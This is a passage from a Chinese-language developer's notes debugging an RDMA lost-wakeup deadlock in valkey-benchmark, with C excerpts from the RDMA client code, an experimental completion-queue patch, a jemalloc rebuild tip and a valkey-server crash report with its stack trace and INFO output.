VALKEY_ERR) { return VALKEY_ERR; } break; case IBV_WC_RDMA_WRITE: if (connRdmaHandleWrite(ctx, wc.byte_len) == VALKEY_ERR) { return VALKEY_ERR; } break; case IBV_WC_SEND: cmd = (valkeyRdmaCmd *)(uintptr_t)wc.wr_id; if (connRdmaHandleSend(cmd) == VALKEY_ERR) { return VALKEY_ERR; } break; default: valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: unexpected opcode\u0026#34;); return VALKEY_ERR; } // 根据不同的opcode进行处理,直到此队列(CQ)为空 goto pollcq; return VALKEY_OK; } 注意两个关键点：\n它无差别排空 CQ——不管是发送完成、接收完成还是控制消息，全部处理\ncomp_channel-\u0026gt;fd 只有 POLLIN，没有 POLLOUT\n意思就是我只知道什么时候有数据可读(就是rearm之后),但是不知道什么时候可写?\n就是不管队列是空的或者是有数据的,我都判断不出来.\n建立连接和注册fd:\nstatic int valkeyRdmaEstablished(valkeyContext *c, struct rdma_cm_id *cm_id) { RdmaContext *ctx = c-\u0026gt;privctx; /* it\u0026#39;s time to tell redis we have already connected */ c-\u0026gt;flags |= VALKEY_CONNECTED; c-\u0026gt;funcs = \u0026amp;valkeyContextRdmaFuncs; c-\u0026gt;fd = ctx-\u0026gt;comp_channel-\u0026gt;fd;\t// // ← benchmark 用的 fd 就是这个(注册到ae事件循环中的fd) return connRdmaRegisterRx(c, cm_id); } benchmark的RDMA是怎么处理的 # 对于TCP而言:\n每一步都通过事件循环的 **epoll_wait** 来驱动。**AE_WRITABLE** 靠内核的 **POLLOUT**，**AE_READABLE** 靠内核的 **POLLIN**。 就是这里都是经过事件的注册来解决.\n对于RDMA来说,因为 RDMA 没有 POLLOUT，benchmark 做了特殊处理——直接调用 writeHandler，绕过事件循环：\nstatic void resetClient(client c) { aeEventLoop *el = CLIENT_GET_EVENTLOOP(c); aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE); aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE); if (config.ct == VALKEY_CONN_RDMA) { writeHandler(el, c-\u0026gt;context-\u0026gt;fd, c, 0); /* RDMA context always writable, but it can\u0026#39;t be invoked by AE_WRITABLE (这里就是直接进行调用,不走事件循环) */ } else { aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE, writeHandler, c); } c-\u0026gt;written = 0; c-\u0026gt;pending = config.pipeline * c-\u0026gt;seqlen; } 这里就是我可以使用POLLIN,相当于两个事件使用的手法是不一样的:\n} else { aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE); // 删除写事件 aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE, readHandler, c); // 注册读事件 return; 然后回到事件循环，等 comp_channel fd 变成可读（CQ 有完成通知）。\n我们再分析一下TCP的处理流程 # createClient → 注册 AE_WRITABLE(writeHandler) ↓ 事件循环触发 writeHandler → write() → 注册 AE_READABLE(readHandler) ↓ 事件循环触发 readHandler → read() → clientDone → resetClient ↓ 注册 AE_WRITABLE(writeHandler) ↓ 事件循环触发 writeHandler → ... 这里都是注册事件的循环处理,都通过内核的事件循环.epoll_wait.\nBug是如何产生的 # writeHandler 通过调用链 cliWriteConn → valkeyBufferWrite → valkeyRdmaWrite 来发送数据。看 valkeyRdmaWrite 的第一件事：\nstatic ssize_t valkeyRdmaWrite(valkeyContext *c) { RdmaContext *ctx = c-\u0026gt;privctx; struct rdma_cm_id *cm_id = ctx-\u0026gt;cm_id; size_t data_len = sdslen(c-\u0026gt;obuf); long timed, end; uint32_t towrite, wrote = 0; size_t ret; if (valkeyCommandTimeoutMsec(c, \u0026amp;timed)) { return VALKEY_ERR; } end = vk_msec_now() + timed; pollcq: if (connRdmaHandleCq(c) == VALKEY_ERR) { // \u0026lt;--- 写数据之前先排空CQ,然后再发送数据 return VALKEY_ERR; } ...... connRdmaHandleCq 排空 CQ 时不区分事件类型——它会处理所有完成记录，包括 IBV_WC_RECV_RDMA_WITH_IMM（服务器发来的数据）。处理接收事件时会更新 ctx-\u0026gt;rx_offset：\nstatic int connRdmaHandleRecvImm(RdmaContext *ctx, struct rdma_cm_id *cm_id, valkeyRdmaCmd *cmd, uint32_t byte_len) { assert(byte_len + ctx-\u0026gt;rx_offset \u0026lt;= ctx-\u0026gt;recv_length); ctx-\u0026gt;rx_offset += byte_len; // 此时数据已经在buf内部了 // 这个就是处理服务器发过来的数据 return rdmaPostRecv(ctx, cm_id, cmd); } 那么我们以一个get请求为例,来分析一个死锁的场景:\n第 N 轮请求-响应完成 ↓ readHandler：处理完响应，pending=0 ↓ clientDone → resetClient ↓ resetClient 删除 AE_READABLE ↓ resetClient 直接调用 writeHandler ← 此时没有任何事件注册在 fd 上 ↓ writeHandler → cliWriteConn → valkeyRdmaWrite ↓ valkeyRdmaWrite 先调用 connRdmaHandleCq ← 关键！ ↓ connRdmaHandleCq： 1. ibv_get_cq_event() ← 消费了 comp_channel 上的通知 2. ibv_ack_cq_events() ← 确认 3. ibv_req_notify_cq() ← 重新武装 4. ibv_poll_cq() 循环 ← 排空 CQ，如果服务器的响应恰好在 CQ 里， rx_offset 被更新，数据放入了 recv_buf ↓ valkeyRdmaWrite 发送第 N+1 轮的 GET 请求 ↓ writeHandler 注册 AE_READABLE(readHandler) ↓ 回到 ae 事件循环，epoll_wait()... 简单来说就是拿到了缓冲区但是没办法处理了.\n我们一般怎么使用char** # 如果你想在函数内部修改一个 char* 变量（即改变这个指针的指向，比如让它指向一块新分配的内存），你就必须传入这个指针的地址，也就是 char**。\n\\#include \u0026lt;stdio.h\u0026gt; \\#include \u0026lt;stdlib.h\u0026gt; int main() { char *my_buf = NULL; // 这是一个 char*，目前指向空 size_t size = 0; // 我们传入 \u0026amp;my_buf，类型就是 char** ssize_t chars_read = getline(\u0026amp;my_buf, \u0026amp;size, stdin); if (chars_read != -1) { printf(\u0026#34;Read: %s\u0026#34;, my_buf); } free(my_buf); // 调用者负责释放内存 return 0; } 内存视角:\n调用者的栈区 getline 函数的栈区 堆区 (Heap) [ \u0026amp;my_buf ] -------------\u0026gt; [ lineptr ] (char**) (char**) | v [ my_buf ] \u0026lt;---(解引用并赋值)---*lineptr -------------\u0026gt; [ \u0026#34;This is a line...\\0\u0026#34; ] (char*) (动态分配的真实缓冲区) 或者是一个字符串指针数组.\n有时候jemalloc会报错,需要手动重新构建 # debug.c:342:20: error: implicit declaration of function ‘je_mallctl’; did you mean ‘mallctl’? [-Wimplicit-function-declaration] 342 | if ((ret = je_mallctl(objectGetVal(argv[0]), \u0026amp;old, \u0026amp;zz, argc \u0026gt; 1 ? \u0026amp;val : NULL, argc \u0026gt; 1 ? sz : 0))) { | ^~~~~~~~~~ | mallctl In file included from dict.h:38, from server.h:68, from debug.c:30: debug.c: In function ‘debugCommand’: 手动进行构建:\ncd deps/jemalloc ./configure make cd ../.. make BUILD_RDMA=yes USE_FAST_FLOAT=yes Burst LostWakeup # 1.实际上经过修改,不会再产生死锁,就是./src/valkey-benchmark --rdma -h 10.0.0.1 -t get -n 100000 -c 1 这个命令最终一定会执行完毕(不会卡住),但是中间的现象是会出现卡顿,就是RPS突然有一段时间为0,然后又突然非常高,处理了一段时间,然后又会卡住,之后又会处理一段时间.\n那么怎么分析这个问题?\n就是我每次都arm CQ队列试试.\n我们尝试解决这个问题,把之前rdma.c的代码这样来进行处理:\nstatic int connRdmaHandleCq(valkeyContext *c) { RdmaContext *ctx = c-\u0026gt;privctx; struct rdma_cm_id *cm_id = ctx-\u0026gt;cm_id; struct ibv_cq *ev_cq = NULL; void *ev_ctx = NULL; struct ibv_wc wc = {0}; valkeyRdmaCmd *cmd; int ret; // 这里修改一下逻辑,不管是否是get成功,我们都需要重新武装,然后pollcq if (ibv_get_cq_event(ctx-\u0026gt;comp_channel, \u0026amp;ev_cq, \u0026amp;ev_ctx) \u0026lt; 0) { if (errno != EAGAIN) { valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: get cq event failed\u0026#34;); return VALKEY_ERR; } ev_cq = ctx-\u0026gt;cq; } else { ibv_ack_cq_events(ctx-\u0026gt;cq, 1); } if (ibv_req_notify_cq(ev_cq, 0)) { valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: notify cq failed\u0026#34;); return VALKEY_ERR; } pollcq: ret = ibv_poll_cq(ctx-\u0026gt;cq, 1, \u0026amp;wc); if (ret \u0026lt; 0) { valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: poll cq failed\u0026#34;); return VALKEY_ERR; } else if (ret == 0) { return VALKEY_OK; } 2.这样修改之后,在执行./src/valkey-benchmark -h 10.0.0.1 -p 6379 -t get --rdma的时候不会出现什么问题,速度很快并且不会周期性的停止,单次运行完毕不会出现什么问题,但是一旦强制中断,server就会报错,找一下root cause.\n错误日志:\n65182:M 08 Apr 2026 22:41:52.232 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add \u0026#39;vm.overcommit_memory = 1\u0026#39; to /etc/sysctl.conf and then reboot or run the command \u0026#39;sysctl vm.overcommit_memory=1\u0026#39; for this to take effect. 65182:M 08 Apr 2026 22:41:52.232 * oO0OoO0OoO0Oo Valkey is starting oO0OoO0OoO0Oo 65182:M 08 Apr 2026 22:41:52.232 * Valkey version=255.255.255, bits=64, commit=e041a64b, modified=1, pid=65182, just started 65182:M 08 Apr 2026 22:41:52.232 * Configuration loaded 65182:M 08 Apr 2026 22:41:52.263 * monotonic clock: X86 TSC @ 2419.21 ticks/us .+^+. .+#########+. .+########+########+. Valkey 255.255.255 (e041a64b/1) 64 bit .+########+\u0026#39; \u0026#39;+########+. .########+\u0026#39; .+. \u0026#39;+########. Running in standalone mode |####+\u0026#39; .+#######+. \u0026#39;+####| Port: 6379 |###| .+###############+. |###| PID: 65182 |###| |#####*\u0026#39;\u0026#39; \u0026#39;\u0026#39;*#####| |###| |###| |####\u0026#39; .-. \u0026#39;####| |###| |###| |###( (@@@) )###| |###| https://valkey.io |###| |####. \u0026#39;-\u0026#39; .####| |###| |###| |#####*. .*#####| |###| |###| \u0026#39;+#####| |#####+\u0026#39; |###| |####+. +##| |#+\u0026#39; .+####| \u0026#39;#######+ |##| .+########\u0026#39; \u0026#39;+###| |##| .+########+\u0026#39; \u0026#39;| |####+########+\u0026#39; +#########+\u0026#39; \u0026#39;+v+\u0026#39; 65182:M 08 Apr 2026 22:41:52.266 * Module \u0026#39;lua\u0026#39; loaded from libvalkeylua.so 65182:M 08 Apr 2026 22:41:52.266 * Server initialized 65182:M 08 Apr 2026 22:41:52.266 * Cleaning slot migration log in anticipation of a load operation. 65182:M 08 Apr 2026 22:41:52.266 * Loading RDB produced by Valkey version 255.255.255 65182:M 08 Apr 2026 22:41:52.266 * RDB age 85299 seconds 65182:M 08 Apr 2026 22:41:52.266 * RDB memory usage when created 1.03 Mb 65182:M 08 Apr 2026 22:41:52.267 * Done loading RDB, keys loaded: 1, keys expired: 0, all fields expired hashes: 0. 65182:M 08 Apr 2026 22:41:52.267 * DB loaded from disk: 0.002 seconds 65182:M 08 Apr 2026 22:41:52.267 * Ready to accept connections tcp 65182:M 08 Apr 2026 22:41:52.267 * Ready to accept connections rdma === VALKEY BUG REPORT START: Cut \u0026amp; paste starting from here === 65182:M 08 Apr 2026 22:51:41.980 # valkey 255.255.255 crashed by signal: 11, si_code: 1 65182:M 08 Apr 2026 22:51:41.980 # Accessing address: (nil) 65182:M 08 Apr 2026 22:51:41.980 # Crashed running the instruction at: 0x557150b794dd ------ STACK TRACE ------ EIP: ./src/valkey-server 127.0.0.1:6379(listUnlinkNode+0xd) [0x557150b794dd] 65182 valkey-server * /usr/lib/libc.so.6(+0x3e2d0) [0x7fdaddd402d0] ./src/valkey-server 127.0.0.1:6379(listUnlinkNode+0xd) [0x557150b794dd] ./src/valkey-server 127.0.0.1:6379(+0x1b1eb6) [0x557150c8aeb6] ./src/valkey-server 127.0.0.1:6379(beforeSleep+0x82) [0x557150cc2ec2] ./src/valkey-server 127.0.0.1:6379(aeMain+0x3f) [0x557150b78e5f] ./src/valkey-server 127.0.0.1:6379(main+0x54f) [0x557150b6823f] /usr/lib/libc.so.6(+0x276c1) [0x7fdaddd296c1] /usr/lib/libc.so.6(__libc_start_main+0x89) [0x7fdaddd297f9] ./src/valkey-server 127.0.0.1:6379(_start+0x25) [0x557150b69e25] 65188 bio_aof /usr/lib/libc.so.6(+0x9ef32) [0x7fdaddda0f32] /usr/lib/libc.so.6(+0x9339c) [0x7fdaddd9539c] /usr/lib/libc.so.6(+0x9368c) [0x7fdaddd9568c] /usr/lib/libc.so.6(pthread_cond_wait+0x14e) [0x7fdaddd97e5e] ./src/valkey-server 127.0.0.1:6379(mutexQueuePop+0x5b) [0x557150c428cb] ./src/valkey-server 127.0.0.1:6379(bioProcessBackgroundJobs+0xee) [0x557150b88bce] /usr/lib/libc.so.6(+0x9697a) [0x7fdaddd9897a] /usr/lib/libc.so.6(+0x11a2bc) [0x7fdadde1c2bc] 65187 bio_close_file /usr/lib/libc.so.6(+0x9ef32) [0x7fdaddda0f32] /usr/lib/libc.so.6(+0x9339c) [0x7fdaddd9539c] /usr/lib/libc.so.6(+0x9368c) [0x7fdaddd9568c] /usr/lib/libc.so.6(pthread_cond_wait+0x14e) [0x7fdaddd97e5e] ./src/valkey-server 127.0.0.1:6379(mutexQueuePop+0x5b) [0x557150c428cb] ./src/valkey-server 127.0.0.1:6379(bioProcessBackgroundJobs+0xee) [0x557150b88bce] /usr/lib/libc.so.6(+0x9697a) [0x7fdaddd9897a] /usr/lib/libc.so.6(+0x11a2bc) [0x7fdadde1c2bc] 65190 bio_rdb_save /usr/lib/libc.so.6(+0x9ef32) [0x7fdaddda0f32] /usr/lib/libc.so.6(+0x9339c) [0x7fdaddd9539c] /usr/lib/libc.so.6(+0x9368c) [0x7fdaddd9568c] /usr/lib/libc.so.6(pthread_cond_wait+0x14e) [0x7fdaddd97e5e] ./src/valkey-server 127.0.0.1:6379(mutexQueuePop+0x5b) [0x557150c428cb] ./src/valkey-server 127.0.0.1:6379(bioProcessBackgroundJobs+0xee) [0x557150b88bce] /usr/lib/libc.so.6(+0x9697a) [0x7fdaddd9897a] /usr/lib/libc.so.6(+0x11a2bc) [0x7fdadde1c2bc] 65191 bio_tls_reload /usr/lib/libc.so.6(+0x9ef32) [0x7fdaddda0f32] /usr/lib/libc.so.6(+0x9339c) [0x7fdaddd9539c] /usr/lib/libc.so.6(+0x9368c) [0x7fdaddd9568c] /usr/lib/libc.so.6(pthread_cond_wait+0x14e) [0x7fdaddd97e5e] ./src/valkey-server 127.0.0.1:6379(mutexQueuePop+0x5b) [0x557150c428cb] ./src/valkey-server 127.0.0.1:6379(bioProcessBackgroundJobs+0xee) [0x557150b88bce] /usr/lib/libc.so.6(+0x9697a) [0x7fdaddd9897a] /usr/lib/libc.so.6(+0x11a2bc) [0x7fdadde1c2bc] 65189 bio_lazy_free /usr/lib/libc.so.6(+0x9ef32) [0x7fdaddda0f32] /usr/lib/libc.so.6(+0x9339c) [0x7fdaddd9539c] /usr/lib/libc.so.6(+0x9368c) [0x7fdaddd9568c] /usr/lib/libc.so.6(pthread_cond_wait+0x14e) [0x7fdaddd97e5e] ./src/valkey-server 127.0.0.1:6379(mutexQueuePop+0x5b) [0x557150c428cb] ./src/valkey-server 127.0.0.1:6379(bioProcessBackgroundJobs+0xee) [0x557150b88bce] /usr/lib/libc.so.6(+0x9697a) [0x7fdaddd9897a] /usr/lib/libc.so.6(+0x11a2bc) [0x7fdadde1c2bc] 6/6 expected stacktraces. ------ STACK TRACE DONE ------ ------ REGISTERS ------ 65182:M 08 Apr 2026 22:51:41.982 # RAX:0000000000000011 RBX:00007fdadd84eea0 RCX:0000000000003b10 RDX:0000000000003b10 RDI:00007fdadd83d420 RSI:0000000000000000 RBP:00007ffd483bdd10 RSP:00007ffd483bdd10 R8 :0000000000000000 R9 :0000000000000000 R10:0000000000000000 R11:00007fdaddc11700 R12:00007fdadd91d1f8 R13:0000000000000002 R14:0000000000000000 R15:00007fdadd83d420 RIP:0000557150b794dd EFL:0000000000010206 CSGSFS:002b000000000033 65182:M 08 Apr 2026 22:51:41.982 * hide-user-data-from-log is on, skip logging stack content to avoid spilling user data. ------ INFO OUTPUT ------ # Server redis_version:7.2.4 server_name:valkey valkey_version:255.255.255 valkey_release_stage:dev redis_git_sha1:e041a64b redis_git_dirty:1 redis_build_id:91cde172b5faf4da server_mode:standalone os:Linux 6.19.9-arch1-1 x86_64 arch_bits:64 monotonic_clock:X86 TSC @ 2419.21 ticks/us multiplexing_api:epoll gcc_version:15.2.1 process_id:65182 process_supervised:no run_id:743545a423047bbedd292c4829a02ee55c05ae92 tcp_port:6379 server_time_usec:1775659901980057 uptime_in_seconds:589 uptime_in_days:0 hz:10 configured_hz:10 clients_hz:10 lru_clock:14052221 executable:/home/ada/Project/valkey/./src/valkey-server config_file:/home/ada/Project/valkey/valkey.conf io_threads_active:0 availability_zone: listener0:name=tcp,bind=127.0.0.1,bind=-::1,port=6379 listener3:name=rdma,bind=10.0.0.1,port=6379 # TLS tls_server_cert_serial:none tls_server_cert_expires_in_seconds:0 tls_client_cert_serial:none tls_client_cert_expires_in_seconds:0 tls_ca_cert_serial:none tls_ca_cert_expires_in_seconds:0 # Clients connected_clients:28 cluster_connections:0 maxclients:10000 client_recent_max_input_buffer:0 client_recent_max_output_buffer:0 blocked_clients:0 tracking_clients:0 pubsub_clients:0 watching_clients:0 clients_in_timeout_table:0 total_watched_keys:0 total_blocking_keys:0 total_blocking_keys_on_nokey:0 paused_reason:none paused_actions:none paused_timeout_milliseconds:0 # Memory used_memory:1471272 used_memory_human:1.40M used_memory_rss:330694656 used_memory_rss_human:315.38M used_memory_peak:1931320 used_memory_peak_human:1.84M used_memory_peak_perc:76.18% used_memory_overhead:1314736 used_memory_startup:913872 used_memory_dataset:156536 used_memory_dataset_perc:28.08% allocator_allocated:2030536 allocator_active:2326528 allocator_resident:9691136 allocator_muzzy:0 total_system_memory:16435552256 total_system_memory_human:15.31G used_memory_lua:33792 used_memory_vm_eval:33792 used_memory_lua_human:33.00K used_memory_scripts_eval:80 number_of_cached_scripts:0 number_of_functions:0 number_of_libraries:0 used_memory_vm_functions:35840 used_memory_vm_total:69632 used_memory_vm_total_human:68.00K used_memory_functions:512 used_memory_scripts:592 used_memory_scripts_human:592B maxmemory:0 maxmemory_human:0B maxmemory_policy:noeviction allocator_frag_ratio:1.15 allocator_frag_bytes:295992 allocator_rss_ratio:4.17 allocator_rss_bytes:7364608 rss_overhead_ratio:34.12 rss_overhead_bytes:321003520 mem_fragmentation_ratio:178.37 mem_fragmentation_bytes:328840704 mem_not_counted_for_evict:0 mem_replication_backlog:0 mem_total_replication_buffers:0 mem_replicas_repl_buffer:0 mem_clients_slaves:0 mem_clients_normal:399872 mem_cluster_links:0 mem_cluster_slot_import:0 mem_cluster_slot_export:0 mem_aof_buffer:0 mem_allocator:jemalloc-5.3.0 mem_overhead_db_hashtable_rehashing:0 active_defrag_running:0 lazyfree_pending_objects:0 lazyfreed_objects:0 # Persistence loading:0 async_loading:0 current_cow_peak:0 current_cow_size:0 current_cow_size_age:0 current_fork_perc:0.00 current_save_keys_processed:0 current_save_keys_total:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1775659312 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 rdb_saves:0 rdb_last_cow_size:0 rdb_last_load_keys_expired:0 rdb_last_load_keys_loaded:1 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_rewrites:0 aof_rewrites_consecutive_failures:0 aof_last_write_status:ok aof_last_cow_size:0 module_fork_in_progress:0 module_fork_last_cow_size:0 slot_migration_fork_in_progress:0 # Stats total_connections_received:169 total_commands_processed:221202 instantaneous_ops_per_sec:12469 total_net_input_bytes:7963261 total_net_output_bytes:22652011003 total_net_repl_input_bytes:0 total_net_repl_output_bytes:0 total_net_cluster_slot_import_bytes:0 total_net_cluster_slot_export_bytes:0 instantaneous_input_kbps:438.38 instantaneous_output_kbps:1246618.12 instantaneous_input_repl_kbps:0.00 instantaneous_output_repl_kbps:0.00 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 expired_fields:0 expired_stale_perc:0.00 expired_keys_with_volatile_items_stale_perc:0.00 expired_time_cap_reached_count:0 expire_cycle_cpu_milliseconds:9 evicted_keys:0 evicted_clients:0 evicted_scripts:0 total_eviction_exceeded_time:0 current_eviction_exceeded_time:0 keyspace_hits:221191 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 pubsubshard_channels:0 latest_fork_usec:0 total_forks:0 migrate_cached_sockets:0 slave_expires_tracked_keys:0 active_defrag_hits:0 active_defrag_misses:0 active_defrag_key_hits:0 active_defrag_key_misses:0 total_active_defrag_time:0 current_active_defrag_time:0 tracking_total_keys:0 tracking_total_items:0 tracking_total_prefixes:0 unexpected_error_replies:0 total_error_replies:0 dump_payload_sanitizations:0 total_reads_processed:221337 total_writes_processed:242728 io_threaded_reads_processed:0 io_threaded_writes_processed:0 io_threaded_freed_objects:0 io_threaded_accept_processed:0 io_threaded_poll_processed:0 io_threaded_total_prefetch_batches:0 io_threaded_total_prefetch_entries:0 client_query_buffer_limit_disconnections:0 client_output_buffer_limit_disconnections:0 reply_buffer_shrinks:104 reply_buffer_expands:0 eventloop_cycles:319079 eventloop_duration_sum:12139821 eventloop_duration_cmd_sum:72627 instantaneous_eventloop_cycles_per_sec:123278 instantaneous_eventloop_duration_usec:54 acl_access_denied_auth:0 acl_access_denied_cmd:0 acl_access_denied_key:0 acl_access_denied_channel:0 acl_access_denied_tls_cert:0 acl_access_denied_db:0 # Replication role:master connected_slaves:0 replicas_waiting_psync:0 master_failover_state:no-failover master_replid:fe7364c15c9f10096f43baa437609ef6583cdca6 master_replid2:0000000000000000000000000000000000000000 master_repl_offset:0 second_repl_offset:-1 repl_backlog_active:0 repl_backlog_size:10485760 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:6.023293 used_cpu_user:6.375262 used_cpu_sys_children:0.000000 used_cpu_user_children:0.000000 used_cpu_sys_main_thread:6.024327 used_cpu_user_main_thread:6.372343 used_active_time_main_thread:11.080413 # Modules module:name=lua,ver=1,api=1,filters=0,usedby=[],using=[],options=[handle-repl-async-load|handle-atomic-slot-migration] # Commandstats cmdstat_config|get:calls=11,usec=96,usec_per_call=8.73,rejected_calls=0,failed_calls=0 cmdstat_get:calls=221191,usec=72539,usec_per_call=0.33,rejected_calls=0,failed_calls=0 # Errorstats # Latencystats latency_percentiles_usec_config|get:p50=8.031,p99=19.071,p99.9=19.071 latency_percentiles_usec_get:p50=0.001,p99=1.003,p99.9=3.007 # Cluster cluster_enabled:0 # Cluster Info # Scripting Engines engines_count:1 engines_total_used_memory:69632 engines_total_memory_overhead:56 engine_0:name=LUA,module=lua,abi_version=4,used_memory=69632,memory_overhead=56 # Keyspace db0:keys=1,expires=0,avg_ttl=0,keys_with_volatile_items=0 ------ CLIENT LIST OUTPUT ------ id=127 addr=10.0.0.1:42020 laddr=10.0.0.1:6379 fd=137 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15192 tot-net-out=43217442 tot-cmds=422 id=128 addr=10.0.0.1:46841 laddr=10.0.0.1:6379 fd=138 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15120 tot-net-out=43012620 tot-cmds=420 id=129 addr=10.0.0.1:55292 laddr=10.0.0.1:6379 fd=139 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15372 tot-net-out=43729497 tot-cmds=427 id=130 addr=10.0.0.1:45720 laddr=10.0.0.1:6379 fd=140 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15192 tot-net-out=43217442 tot-cmds=422 id=131 addr=10.0.0.1:43029 laddr=10.0.0.1:6379 fd=141 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15192 tot-net-out=43217442 tot-cmds=422 id=132 addr=10.0.0.1:41118 laddr=10.0.0.1:6379 fd=142 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15300 tot-net-out=43524675 tot-cmds=425 id=133 addr=10.0.0.1:56220 laddr=10.0.0.1:6379 fd=143 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15300 tot-net-out=43524675 tot-cmds=425 id=134 addr=10.0.0.1:34762 laddr=10.0.0.1:6379 fd=144 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15372 tot-net-out=43729497 tot-cmds=427 id=135 addr=10.0.0.1:34373 laddr=10.0.0.1:6379 fd=145 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15516 tot-net-out=44139141 tot-cmds=431 id=136 addr=10.0.0.1:55394 laddr=10.0.0.1:6379 fd=146 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=35 oll=0 omem=0 tot-mem=17024 events=rw cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15120 tot-net-out=42991616 tot-cmds=420 id=137 addr=10.0.0.1:47348 laddr=10.0.0.1:6379 fd=147 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15192 tot-net-out=43217442 tot-cmds=422 id=138 addr=10.0.0.1:46385 laddr=10.0.0.1:6379 fd=148 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=35 oll=0 omem=0 tot-mem=17024 events=rw cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15516 tot-net-out=44040192 tot-cmds=431 id=139 addr=10.0.0.1:47577 laddr=10.0.0.1:6379 fd=149 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=14976 tot-net-out=42602976 tot-cmds=416 id=140 addr=10.0.0.1:59830 laddr=10.0.0.1:6379 fd=150 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15444 